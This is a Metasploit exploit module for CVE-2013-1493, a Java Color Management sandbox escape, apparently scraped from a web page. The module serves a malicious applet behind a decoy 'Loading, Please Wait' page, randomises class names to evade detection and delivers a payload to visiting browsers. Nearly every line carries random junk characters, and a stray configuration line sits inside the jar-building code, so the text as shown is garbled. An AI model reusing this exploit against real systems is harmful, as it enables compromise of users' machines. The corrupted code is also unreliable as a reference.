##
# S0 X, k2 B. }, _& s6 f5 H
' N' j2 x, x, k8 g/ ]8 m# This file is part of the Metasploit Framework and may be subject to
4 `3 K; J7 Q0 Y6 A( h# redistribution and commercial restrictions. Please see the Metasploit' g1 [% W' z/ @5 ?/ j' S7 \8 b
# web site for more information on licensing and terms of use.
$ Q, t2 x5 s* v1 }5 D% O; `, {1 D/ X# http://metasploit.com/
4 H# J/ s5 S- w### \+ x$ Q" u! r7 n4 p( j; O% ~; P
require ‘msf/core’6 K% n: c7 }% w' k8 G! I, H9 s
require ‘rex’, {* ~2 ]. R& i; C# G( X' h
class Metasploit3 < Msf::Exploit::Remote
' n( d3 k" O% m: H$ G% qRank = NormalRanking
% M6 G8 t" Q6 X- b5 K, S8 Winclude Msf::Exploit::Remote::HttpServer::HTML
& m$ W% [9 f0 M6 ~. k' x- N8 }include Msf::Exploit::EXE0 O6 W, _( B/ z3 T' y
include Msf::Exploit::Remote::BrowserAutopwn
" r0 }4 r/ W! V& I5 q' `* @autopwn_info({ :javascript => false }), G% ^3 v4 u; A) f# V; [6 ?
def initialize( info = {} )# K- q7 A, j. n9 L2 m4 k
super( update_info( info,7 T+ D8 k* k0 T. u
‘Name’ => ‘Java CMM Remote Code Execution’,, G1 f9 k! u6 _9 O' `$ l
‘Description’ => %q{: J+ d( @9 J3 D! D
This module abuses the Color Management classes from a Java Applet to run/ P& E1 a0 R& n5 C9 ]2 x$ V6 z) n
arbitrary Java code outside of the sandbox as exploited in the wild in February L7 J$ J: {9 q. A4 E
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41/ }: L' U# Z4 l( N, f# m
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP15 ^4 I' d4 s% |
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
" [! q5 l$ r# [' ~- I3 I2 P4 pwarning in order to run the malicious applet.0 b; z3 m4 p; Z# u4 L
},9 I, P: [4 J/ @
‘License’ => MSF_LICENSE,
$ |: Q! {, R2 j# f0 l& v* B# i‘Author’ =>
1 X1 a9 ]( q4 s/ e; O'Unknown', # Vulnerability discovery and Exploit9 z8 B- w7 ?1 [
'juan vazquez' # Metasploit module (just ported the published exploit): U% J7 e! U/ o7 a( P2 Y. ?2 {& |
],
- W4 h2 v ~5 T/ O‘References’ =>
6 B h; f- c/ _[1 l! i; L- r' T& e4 u: w6 G
[ 'CVE', '2013-1493' ],# q9 h3 Q) M3 Q, [1 _
[ 'OSVDB', '90737' ],
( e8 @! K% d* b+ A1 m[ 'BID', '58238' ],* O( W. `& j8 X' [4 [- s+ X* B7 i
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
, U% \2 Y+ h# }# O: o[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],1 h2 A* w7 v& G- f! @
[ 'URL', 'http://pastie.org/pastes/6581034' ]/ `; I* T0 r/ N$ q$ c/ b1 l
],, y3 }' J' a3 ]& C% P! _
‘Platform’ => [ 'win', 'java' ],! t4 K0 z9 |8 G# Y% c- X- A" Z
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
* F5 s1 @+ ?- x‘Targets’ =>* R9 A2 p* o4 w! b
[8 O9 L2 x, p" d; Z
[ 'Generic (Java Payload)',
1 t# R/ H8 a" k' ]( z+ k! |* _{
( k3 b7 d1 ~( H$ D, p2 b3 Y'Platform' => 'java',( s+ A8 T9 u" h. Q+ |: `
'Arch' => ARCH_JAVA
& m5 l x. W% q# s! z}, K5 h- I; @$ K2 [: [' t
],- U- @0 b) N" r
[ 'Windows x86 (Native Payload)',; p, l; K; p( p, N2 n" v
{
" `4 V8 F, y2 p; X V& m$ ['Platform' => 'win',) F9 s. Z# ^; `8 N0 f% F
'Arch' => ARCH_X86- z ?* K g- t5 X( A$ F
}
$ ?9 \$ v7 r+ `9 B]4 _* }6 t' s: J# x# Y7 i/ w4 a! [
]," D2 @' D' e. y9 _- }
‘‘DisclosureDate’ => ‘Mar 01 2013′2 L9 G) Z- I) w7 A
))# Z; f+ ~) C" b0 F2 S! O3 g! m
end1 L7 @6 C0 z5 Z% P
def setup# {4 w9 d. J$ _! E+ {
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)6 C$ U* z7 C1 b; u
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
8 i5 q, g) |1 p0 J& F$ m- Wpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
! J" F. q' \, H7 n@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
7 ^2 ?. w: j; N6 K" ~! F3 V4 ~6 dpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)# }4 Q) t7 V8 [" X* T
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* h- w, A% J u( ]/ Spath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)$ {6 Q! q- k- x6 `
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }$ j# j" X8 G) b
@init_class_name = rand_text_alpha(“Init”.length)1 Q# w5 z% f& m3 v
@init_class.gsub!(“Init”, @init_class_name)
# ~, E% `0 M! n% G. q6 gsuper1 H3 n3 G* H9 n
end6 \& f7 B8 |9 g' `
def on_request_uri(cli, request)
" z" T( i* R8 M- X0 V2 {print_status(“handling request for #{request.uri}”)
1 L( j0 ]" m0 ^* Q2 C# L, @; G# l0 B. f0 Gcase request.uri0 a0 d) i" i+ m1 ?$ m; v0 v
when /\.jar$/i5 u; J8 I" I6 P. W5 g1 A) q
jar = payload.encoded_jar
& I" F2 W7 v- x. Q3 t6 }" G. m7 R, ~jar.add_file(“#{@init_class_name}.class”, @init_class)
' h5 [7 c0 G5 U0 d% [jar.add_file(“Leak.class”, @leak_class)
" ?- H2 T d3 f7 V7 mjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
" ?4 n2 ]: ^" F: l/ f5 Z" Ljar.add_file(“MyColorSpace.class”, @color_space_class)
' F( ~! g" s. l# B7 ^3 XDefaultTarget’ => 1,
4 @3 L/ o) a- ^ K. V8 Pmetasploit_str = rand_text_alpha(“metasploit”.length)" t' E) X% y9 `4 L/ l
payload_str = rand_text_alpha(“payload”.length)
" ?# D# m/ y4 Bjar.entries.each { |entry|2 f4 a) Z7 H# u; ? G. r" x& _
entry.name.gsub!(“metasploit”, metasploit_str)5 i- _2 l5 p7 }! @0 W; W$ n
entry.name.gsub!(“Payload”, payload_str)
& z) S v0 W3 p; Sentry.data = entry.data.gsub(“metasploit”, metasploit_str)
. G1 z6 h# L2 z0 C8 e" lentry.data = entry.data.gsub(“Payload”, payload_str)
W) j$ ~% U1 e}0 ~: t) j' ~' w! u$ Q* N0 g
jar.build_manifest% N& x2 k- Q4 ], n7 {1 z
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })& u |$ h+ P5 g5 m2 |2 p, [! X
when /\/$/ s/ A+ N: [, i- A7 G0 {' m
payload = regenerate_payload(cli)3 g' E3 s7 C0 m( N
if not payload2 l/ J* n( V B" R: F2 e
print_error(“Failed to generate the payload.”)0 H; s* C# O" ~4 N& F' R
send_not_found(cli); z |; B' c: u# b5 @ g1 t
return
6 x' f Q" W4 w6 o7 h9 {end% k. I1 `8 r# E" {* W b
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })9 ]) ` b0 {2 y3 s4 o& L3 {
else
* K' f( s9 ? b; U% Ysend_redirect(cli, get_resource() + ‘/’, ”)
x4 ^# d( K5 G& Tend' v# V/ d# s$ h. @5 J
end" L. b& X+ t' o. S. N, O3 T8 v7 }
def generate_html7 G$ r! V2 ~: ?
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
7 [' ^- h$ e4 S6 ]7 [' dhtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
; O! H7 b+ E- R9 s% u" C. N2 F3 d' p3 Rhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
9 `# q5 b1 \0 Z1 k1 khtml += %Q|</applet></body></html>|
- H6 R6 I1 z( n% F8 nreturn html
, N3 `! M- [# |$ F. U6 O1 Pend
" k: l! }8 S& l7 v7 ]( [end
$ S' L' d, x. g) d$ K; k9 X0 H! ~end7 k* j' K; x% k1 K& \' R9 [
|